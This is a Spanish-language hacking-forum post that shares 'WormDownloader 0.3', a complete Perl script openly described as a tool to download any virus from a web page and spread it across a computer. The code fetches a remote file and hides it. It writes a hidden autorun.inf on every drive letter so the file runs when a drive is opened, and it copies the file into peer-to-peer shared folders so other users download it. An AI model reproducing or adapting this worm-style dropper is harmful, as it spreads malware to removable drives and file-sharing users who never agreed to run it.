elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] WormDownloader 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] WormDownloader 0.3  (Leído 1,213 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] WormDownloader 0.3
« en: 3 Diciembre 2011, 16:35 pm »

Simple programa que nos sirve para bajar un virus cualquiera de una pagina para despues propagarlo por toda la computarora

Código
  1. #!usr/bin/perl
  2. #WormDownloader 0.3
  3. #Coded By Doddy H
  4.  
  5. use Win32::File;
  6. use Cwd;
  7. use LWP::UserAgent;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  11. $nave->timeout(5);
  12.  
  13. my @rutas = ("C:\\Archivos de programa\\KMD\\My Shared Folder","C:\\Archivos de programa\\Kazaa\\My Shared Folder\\","C:\\Archivos de programa\\KaZaA Lite\\My Shared Folder\\","C:\\Archivos de programa\\Morpheus\\My Shared Folder\\","C:\Archivos de programa\\Grokster\\My Grokster\\","C:\\Archivos de programa\\BearShare\\Shared\\","C:\\Archivos de programa\\Edonkey2000\\Incoming\\","C:\\Archivos de programa\\limewire\\Shared\\","C:\\Documents and Settings\\Administrador\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\");
  14.  
  15. head();
  16. print "\n\n[+] File to download : ";
  17. chomp(my $down = <stdin>);
  18. print "\n[+] Name to save : ";
  19. chomp(my $name= <stdin>);
  20. print "\n[+] Downloading...\n";
  21. if (download($down,$name)) {
  22. hideit($name,"hide");
  23. print "\n[+] Propagation routine starting\n";
  24. wormear($down,$name);
  25. } else {
  26. print "\n[-] Error downloading\n";
  27. }
  28. print "\n\n[+] Finished\n\n";
  29. copyright();
  30. <stdin>;
  31.  
  32. sub wormear {
  33.  
  34. my($filedown,$name) = @_;
  35.  
  36. my $exe = getcwd()."/".$name;
  37.  
  38. open (AUTORUN,">>autorun.inf");
  39. print AUTORUN "[AutoRun]\n";
  40. print AUTORUN "open = $exe\n";
  41. print AUTORUN "shellexecute=$exe\n";
  42. print AUTORUN "shell\\Auto\\command=$exe\n";
  43. close AUTORUN;
  44.  
  45. for my $dir(65..90) {
  46. Win32::CopyFile($name,chr($dir).":/".$name,0);
  47. Win32::CopyFile("autorun.inf",chr($dir).":/autorun.inf",0);
  48. hideit(chr($dir).":/".$name,"hide");
  49. hideit(chr($dir).":/autorun.inf","hide");
  50. }
  51. unlink("autorun.inf");
  52.  
  53. for my $r(@rutas) {
  54. chomp $r;
  55. if (-d $r) {
  56. Win32::CopyFile($name,$r."/".$name,0);
  57. }}}
  58.  
  59. sub hideit {
  60. if ($_[1] eq "show") {
  61. Win32::File::SetAttributes($_[0],NORMAL);
  62. }
  63. elsif ($_[1] eq "hide") {
  64. Win32::File::SetAttributes($_[0],HIDDEN);
  65. }
  66. else {
  67. #print "error\n";
  68. }
  69. }
  70.  
  71. sub download {
  72. if ($nave->mirror($_[0],$_[1])) {
  73. if (-f $_[1]) {
  74. return true;
  75. }}}
  76.  
  77. sub head {
  78. print "\n\n-- == WormDownloader == --\n";
  79. }
  80.  
  81. sub copyright {
  82. print "\n\n(C) Doddy Hackman 2011\n\n";
  83. exit(1);
  84. }
  85.  
  86. #The End ?
  87.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
perl
Scripting
nobo 0 3,198 Último mensaje 22 Febrero 2005, 07:49 am
por nobo
Perl
Scripting
zhynar_X 2 2,226 Último mensaje 12 Enero 2008, 04:36 am
por GroK
-=PERL=-
Scripting
D4RIO 1 5,714 Último mensaje 25 Febrero 2008, 17:27 pm
por D4RIO
MSN Perl y PHP
Scripting
isseu 0 2,674 Último mensaje 30 Diciembre 2008, 14:36 pm
por isseu
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,836 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines